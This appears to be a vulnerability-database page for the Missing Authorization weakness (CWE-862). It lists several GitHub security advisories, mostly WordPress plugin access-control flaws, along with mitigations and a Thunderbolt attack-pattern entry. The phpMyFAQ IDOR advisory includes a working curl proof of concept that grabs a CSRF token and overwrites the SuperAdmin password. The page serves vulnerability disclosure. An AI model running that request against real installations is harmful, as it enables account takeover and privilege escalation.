Common Weakness Enumeration

CWE-862

Allowed-with-Review

Missing Authorization

Abstraction: Class · Status: Incomplete

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

14566 vulnerabilities reference this CWE, most recent first.

GHSA-XV6F-4Q9W-8Q96

Vulnerability from github – Published: 2024-04-03 15:30 – Updated: 2025-03-17 18:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

parisc: BTLB: Fix crash when setting up BTLB at CPU bringup

When using hotplug and bringing up a 32-bit CPU, ask the firmware about the BTLB information to set up the static (block) TLB entries.

For that write access to the static btlb_info struct is needed, but since it is marked __ro_after_init the kernel segfaults with missing write permissions.

Fix the crash by dropping the __ro_after_init annotation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-26705"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-03T15:15:53Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nparisc: BTLB: Fix crash when setting up BTLB at CPU bringup\n\nWhen using hotplug and bringing up a 32-bit CPU, ask the firmware about the\nBTLB information to set up the static (block) TLB entries.\n\nFor that write access to the static btlb_info struct is needed, but\nsince it is marked __ro_after_init the kernel segfaults with missing\nwrite permissions.\n\nFix the crash by dropping the __ro_after_init annotation.",
  "id": "GHSA-xv6f-4q9w-8q96",
  "modified": "2025-03-17T18:31:38Z",
  "published": "2024-04-03T15:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26705"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/54944f45470af5965fb9c28cf962ec30f38a8f5b"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/913b9d443a0180cf0de3548f1ab3149378998486"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/aa52be55276614d33f22fbe7da36c40d6432d10b"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XV7R-59FX-748W

Vulnerability from github – Published: 2025-10-27 03:30 – Updated: 2026-01-20 15:31
VLAI
Details

Missing Authorization vulnerability in KingAddons.com King Addons for Elementor king-addons allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects King Addons for Elementor: from n/a through <= 51.1.37.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-62889"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-27T02:15:47Z",
    "severity": "HIGH"
  },
  "details": "Missing Authorization vulnerability in KingAddons.com King Addons for Elementor king-addons allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects King Addons for Elementor: from n/a through \u003c= 51.1.37.",
  "id": "GHSA-xv7r-59fx-748w",
  "modified": "2026-01-20T15:31:35Z",
  "published": "2025-10-27T03:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62889"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/king-addons/vulnerability/wordpress-king-addons-for-elementor-plugin-51-1-37-broken-access-control-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Plugin/king-addons/vulnerability/wordpress-king-addons-for-elementor-plugin-51-1-37-broken-access-control-vulnerability"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Plugin/king-addons/vulnerability/wordpress-king-addons-for-elementor-plugin-51-1-37-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XV9G-HFXF-CG8G

Vulnerability from github – Published: 2024-12-09 15:31 – Updated: 2026-04-23 15:33
VLAI
Details

Missing Authorization vulnerability in Themewinter WPCafe allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPCafe: from n/a through 2.2.22.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-47805"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-09T13:15:30Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Themewinter WPCafe allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPCafe: from n/a through 2.2.22.",
  "id": "GHSA-xv9g-hfxf-cg8g",
  "modified": "2026-04-23T15:33:35Z",
  "published": "2024-12-09T15:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47805"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/wp-cafe/vulnerability/wordpress-wpcafe-plugin-2-2-19-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XV9X-Q8HF-FRGH

Vulnerability from github – Published: 2024-11-09 06:30 – Updated: 2024-11-09 06:30
VLAI
Details

The Top Store theme for WordPress is vulnerable to unauthorized arbitrary plugin installation due to a missing capability check on the top_store_install_and_activate_callback() function in all versions up to, and including, 1.5.4. This makes it possible for authenticated attackers, with subscriber-level access and above, to install arbitrary plugins which can contain other exploitable vulnerabilities to elevate privileges and gain remote code execution.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-10673"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-09T04:15:04Z",
    "severity": "HIGH"
  },
  "details": "The Top Store theme for WordPress is vulnerable to unauthorized arbitrary plugin installation due to a missing capability check on the top_store_install_and_activate_callback() function in all versions up to, and including, 1.5.4. This makes it possible for authenticated attackers, with subscriber-level access and above, to install arbitrary plugins which can contain other exploitable vulnerabilities to elevate privileges and gain remote code execution.",
  "id": "GHSA-xv9x-q8hf-frgh",
  "modified": "2024-11-09T06:30:24Z",
  "published": "2024-11-09T06:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10673"
    },
    {
      "type": "WEB",
      "url": "https://themes.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=247826%40top-store\u0026new=247826%40top-store\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/80510ade-cb58-45b3-89f2-2cbbc5640cae?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XVFH-9HMQ-G2VH

Vulnerability from github – Published: 2025-06-06 15:30 – Updated: 2026-04-01 18:35
VLAI
Details

Missing Authorization vulnerability in De paragon No Spam At All allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects No Spam At All: from n/a through 1.3.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-24778"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-06T13:15:26Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in De paragon No Spam At All allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects No Spam At All: from n/a through 1.3.",
  "id": "GHSA-xvfh-9hmq-g2vh",
  "modified": "2026-04-01T18:35:17Z",
  "published": "2025-06-06T15:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24778"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/no-spam-at-all/vulnerability/wordpress-no-spam-at-all-1-3-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XVG6-W59C-3823

Vulnerability from github – Published: 2024-06-09 12:30 – Updated: 2024-06-09 12:30
VLAI
Details

Missing Authorization vulnerability in OnTheGoSystems WooCommerce Multilingual & Multicurrency.This issue affects WooCommerce Multilingual & Multicurrency: from n/a through 5.3.4.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-30466"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-09T11:15:50Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in OnTheGoSystems WooCommerce Multilingual \u0026 Multicurrency.This issue affects WooCommerce Multilingual \u0026 Multicurrency: from n/a through 5.3.4.",
  "id": "GHSA-xvg6-w59c-3823",
  "modified": "2024-06-09T12:30:51Z",
  "published": "2024-06-09T12:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30466"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/woocommerce-multilingual/wordpress-woocommerce-multilingual-multicurrency-plugin-5-3-4-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XVMJ-4X57-G9GG

Vulnerability from github – Published: 2025-10-22 15:31 – Updated: 2026-01-20 15:31
VLAI
Details

Missing Authorization vulnerability in etruel WPeMatico RSS Feed Fetcher wpematico allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPeMatico RSS Feed Fetcher: from n/a through <= 2.8.3.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-49922"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-22T15:15:38Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in etruel WPeMatico RSS Feed Fetcher wpematico allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPeMatico RSS Feed Fetcher: from n/a through \u003c= 2.8.3.",
  "id": "GHSA-xvmj-4x57-g9gg",
  "modified": "2026-01-20T15:31:23Z",
  "published": "2025-10-22T15:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49922"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/wpematico/vulnerability/wordpress-wpematico-rss-feed-fetcher-plugin-2-8-3-broken-access-control-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Plugin/wpematico/vulnerability/wordpress-wpematico-rss-feed-fetcher-plugin-2-8-3-broken-access-control-vulnerability"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Plugin/wpematico/vulnerability/wordpress-wpematico-rss-feed-fetcher-plugin-2-8-3-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XVMV-4RX6-X6JX

Vulnerability from github – Published: 2023-11-16 20:13 – Updated: 2023-11-17 22:04
VLAI
Summary
Authenticated users can view job names and groups they do not have authorization to view
Details

Access to two URLs used in both Rundeck Open Source and Process Automation products could allow authenticated users to access the URL path, which provides a list of job names and groups for any project, without the necessary authorization checks.

The affected URLs are: - http[s]://[host]/context/rdJob/* - http[s]://[host]/context/api/*/incubator/jobs

The output of these endpoints only exposes the name of job groups and the jobs contained within the specified project. The output is read-only and the access does not allow changes to the information.

Impact

Rundeck, Process Automation version 4.17.0 up to 4.17.2

Patches

Patched versions: 4.17.3

Workarounds

Access to two URLs used in either Rundeck Open Source or Process Automation products could be blocked at a load balancer level. - http[s]://host/context/rdJob/* - http[s]://host/context/api/*/incubator/jobs

For more information

If you have any questions or comments about this advisory: * Open an issue in our forums * Enterprise Customers can open a Support ticket

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.rundeck:rundeckapp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.17.0"
            },
            {
              "fixed": "4.17.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-47112"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-11-16T20:13:06Z",
    "nvd_published_at": "2023-11-16T22:15:28Z",
    "severity": "MODERATE"
  },
  "details": "Access to two URLs used in both Rundeck Open Source and Process Automation products could allow authenticated users to access the URL path, which provides a list of job names and groups for any project, without the necessary authorization checks.\n\nThe affected URLs are:\n- `http[s]://[host]/context/rdJob/*` \n- `http[s]://[host]/context/api/*/incubator/jobs`\n\nThe output of these endpoints only exposes the name of job groups and the jobs contained within the specified project.  The output is read-only and the access does not allow changes to the information.\n\n### Impact\n\nRundeck, Process Automation version 4.17.0 up to 4.17.2\n\n### Patches\n\nPatched versions: 4.17.3\n\n### Workarounds\n\nAccess to two URLs used in either Rundeck Open Source or Process Automation products could be blocked at a load balancer level.\n- `http[s]://host/context/rdJob/*` \n- `http[s]://host/context/api/*/incubator/jobs`\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [our forums](https://community.pagerduty.com/forum/c/process-automation)\n* Enterprise Customers can open a [Support ticket](https://support.rundeck.com)\n\n",
  "id": "GHSA-xvmv-4rx6-x6jx",
  "modified": "2023-11-17T22:04:11Z",
  "published": "2023-11-16T20:13:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rundeck/rundeck/security/advisories/GHSA-xvmv-4rx6-x6jx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47112"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rundeck/rundeck/commit/8992879036a1ddacfca78559d823be0424796e7e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rundeck/rundeck"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authenticated users can view job names and groups they do not have authorization to view"
}

GHSA-XVP4-PHQJ-CJR3

Vulnerability from github – Published: 2026-05-20 15:46 – Updated: 2026-05-28 14:19
VLAI
Summary
phpMyFAQ: IDOR Account Takeover
Details

Summary

An Insecure Direct Object Reference (IDOR) vulnerability in phpMyFAQ's Admin API allows any authenticated administrator to change the password of any user account, including SuperAdmin accounts (userId=1), without authorization verification. An attacker with a low-privilege admin account can escalate privileges to full SuperAdmin control by simply changing the target user's ID in the API request body.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php Lines: 232-271 The overwritePassword() method at line 232 accepts PUT requests to /admin/api/user/overwrite-password:

[Route(path: 'user/overwrite-password', name: 'admin.api.user.overwrite-password', methods: ['PUT'])]

public function overwritePassword(Request $request): JsonResponse
{
    $this->userHasUserPermission();  // Only checks if user has USER_EDIT permission
    $currentUser = CurrentUser::getCurrentUser($this->configuration);
    $data = json_decode($request->getContent());
    $userId = Filter::filterVar($data->userId, FILTER_VALIDATE_INT);  // User-controlled!
    $csrfToken = Filter::filterVar($data->csrf, FILTER_SANITIZE_SPECIAL_CHARS);
    $newPassword = Filter::filterVar($data->newPassword, FILTER_SANITIZE_SPECIAL_CHARS);
    $retypedPassword = Filter::filterVar($data->passwordRepeat, FILTER_SANITIZE_SPECIAL_CHARS);
    if (!Token::getInstance($this->session)->verifyToken(page: 'overwrite-password', requestToken: $csrfToken)) {
        return $this->json(['error' => ...], Response::HTTP_UNAUTHORIZED);
    }
    // NO check that $userId belongs to a user the admin should manage
    // NO check that target user has lower or equal privileges
    // Can overwrite password for ANY user, including SuperAdmin (userId=1)
    $currentUser->getUserById((int) $userId, allowBlockedUsers: true);
    $authSource->getEncryptionContainer($currentUser->getAuthData(key: 'encType'));
    if (hash_equals($newPassword, $retypedPassword)) {
        if (!$currentUser->changePassword($newPassword)) {
            return $this->json(['error' => ...], Response::HTTP_BAD_REQUEST);
        }
        $this->adminLog->log($this->currentUser, AdminLogType::USER_CHANGE_PASSWORD->value . ':' . $userId);
        return $this->json(['success' => ...], Response::HTTP_OK);
    }
}

Root Causes:

  1. No verification that the requesting admin has permission to modify the target user's password
  2. No check that the target user has equal or lower privilege level
  3. The userId is taken directly from the request body without authorization context
  4. No multi-factor confirmation for privilege-escalating password changes

PoC

Prerequisites: Authenticated admin session with USER_EDIT permission

Step 1 - Obtain Admin Session: Log in as a low-privilege admin user (or exploit CVE-2026-XXXX-1 to take over any user first).

Step 2 - Extract CSRF Token: CSRF token is embedded in admin pages:

curl -sL -b "PHPSESSID=admin_session" http://target/admin/index.php | grep -oP 'pmf-csrf-token.*?value="\K[^"]+'

Step 3 - Change SuperAdmin Password:

curl -X PUT -H "Content-Type: application/json" \
  -b "PHPSESSID=admin_session" \
  -d '{
    "userId": 1,
    "csrf": "admin_csrf_token_value",
    "newPassword": "NewSuperAdminP@ss123!",
    "passwordRepeat": "NewSuperAdminP@ss123!"
  }' \
  http://target/admin/api/user/overwrite-password

Response: {"success":"The password was successfully changed."}

Step 4 - Account Takeover: Attacker now has SuperAdmin credentials and full control of phpMyFAQ.

Who is Impacted:

  • Organizations with multiple admin users where not all should have SuperAdmin access
  • Any phpMyFAQ instance where privilege separation is configured
  • Multi-tenant environments where users should only manage their own accounts

Attack Complexity: Low - only requires a valid admin session with USER_EDIT permission

Privilege Escalation: Any admin user can become SuperAdmin regardless of their assigned permissions

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35671"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-266",
      "CWE-269",
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-20T15:46:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nAn Insecure Direct Object Reference (IDOR) vulnerability in phpMyFAQ\u0027s Admin API allows any authenticated administrator to change the password of any user account, including SuperAdmin accounts (userId=1), without authorization verification. An attacker with a low-privilege admin account can escalate privileges to full SuperAdmin control by simply changing the target user\u0027s ID in the API request body.\n\n### Details\nFile: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php\nLines: 232-271\nThe overwritePassword() method at line 232 accepts PUT requests to /admin/api/user/overwrite-password:\n#[Route(path: \u0027user/overwrite-password\u0027, name: \u0027admin.api.user.overwrite-password\u0027, methods: [\u0027PUT\u0027])]\n```php\npublic function overwritePassword(Request $request): JsonResponse\n{\n    $this-\u003euserHasUserPermission();  // Only checks if user has USER_EDIT permission\n    $currentUser = CurrentUser::getCurrentUser($this-\u003econfiguration);\n    $data = json_decode($request-\u003egetContent());\n    $userId = Filter::filterVar($data-\u003euserId, FILTER_VALIDATE_INT);  // User-controlled!\n    $csrfToken = Filter::filterVar($data-\u003ecsrf, FILTER_SANITIZE_SPECIAL_CHARS);\n    $newPassword = Filter::filterVar($data-\u003enewPassword, FILTER_SANITIZE_SPECIAL_CHARS);\n    $retypedPassword = Filter::filterVar($data-\u003epasswordRepeat, FILTER_SANITIZE_SPECIAL_CHARS);\n    if (!Token::getInstance($this-\u003esession)-\u003everifyToken(page: \u0027overwrite-password\u0027, requestToken: $csrfToken)) {\n        return $this-\u003ejson([\u0027error\u0027 =\u003e ...], Response::HTTP_UNAUTHORIZED);\n    }\n    // NO check that $userId belongs to a user the admin should manage\n    // NO check that target user has lower or equal privileges\n    // Can overwrite password for ANY user, including SuperAdmin (userId=1)\n    $currentUser-\u003egetUserById((int) $userId, allowBlockedUsers: true);\n    $authSource-\u003egetEncryptionContainer($currentUser-\u003egetAuthData(key: \u0027encType\u0027));\n    if (hash_equals($newPassword, $retypedPassword)) {\n        if (!$currentUser-\u003echangePassword($newPassword)) {\n            return $this-\u003ejson([\u0027error\u0027 =\u003e ...], Response::HTTP_BAD_REQUEST);\n        }\n        $this-\u003eadminLog-\u003elog($this-\u003ecurrentUser, AdminLogType::USER_CHANGE_PASSWORD-\u003evalue . \u0027:\u0027 . $userId);\n        return $this-\u003ejson([\u0027success\u0027 =\u003e ...], Response::HTTP_OK);\n    }\n}\n```\n\n### Root Causes:\n1. No verification that the requesting admin has permission to modify the target user\u0027s password\n2. No check that the target user has equal or lower privilege level\n3. The userId is taken directly from the request body without authorization context\n4. No multi-factor confirmation for privilege-escalating password changes\n\n\n### PoC\n\nPrerequisites: Authenticated admin session with USER_EDIT permission\n\nStep 1 - Obtain Admin Session:\nLog in as a low-privilege admin user (or exploit CVE-2026-XXXX-1 to take over any user first).\n\nStep 2 - Extract CSRF Token:\nCSRF token is embedded in admin pages:\n```bash\ncurl -sL -b \"PHPSESSID=admin_session\" http://target/admin/index.php | grep -oP \u0027pmf-csrf-token.*?value=\"\\K[^\"]+\u0027\n```\n\nStep 3 - Change SuperAdmin Password:\n```bash\ncurl -X PUT -H \"Content-Type: application/json\" \\\n  -b \"PHPSESSID=admin_session\" \\\n  -d \u0027{\n    \"userId\": 1,\n    \"csrf\": \"admin_csrf_token_value\",\n    \"newPassword\": \"NewSuperAdminP@ss123!\",\n    \"passwordRepeat\": \"NewSuperAdminP@ss123!\"\n  }\u0027 \\\n  http://target/admin/api/user/overwrite-password\n```\n\nResponse: {\"success\":\"The password was successfully changed.\"}\n\nStep 4 - Account Takeover:\nAttacker now has SuperAdmin credentials and full control of phpMyFAQ.\n\n### Who is Impacted:\n- Organizations with multiple admin users where not all should have SuperAdmin access\n- Any phpMyFAQ instance where privilege separation is configured\n- Multi-tenant environments where users should only manage their own accounts\n\n#### Attack Complexity: Low - only requires a valid admin session with USER_EDIT permission\n#### Privilege Escalation: Any admin user can become SuperAdmin regardless of their assigned permissions",
  "id": "GHSA-xvp4-phqj-cjr3",
  "modified": "2026-05-28T14:19:40Z",
  "published": "2026-05-20T15:46:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-xvp4-phqj-cjr3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ: IDOR Account Takeover "
}

GHSA-XVQJ-4FQ7-2GFV

Vulnerability from github – Published: 2026-04-08 09:31 – Updated: 2026-04-13 21:30
VLAI
Details

Missing Authorization vulnerability in shrikantkale iZooto izooto-web-push allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects iZooto: from n/a through <= 3.7.20.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-39673"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-08T09:16:38Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in shrikantkale iZooto izooto-web-push allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects iZooto: from n/a through \u003c= 3.7.20.",
  "id": "GHSA-xvqj-4fq7-2gfv",
  "modified": "2026-04-13T21:30:36Z",
  "published": "2026-04-08T09:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39673"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/izooto-web-push/vulnerability/wordpress-izooto-plugin-3-7-20-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.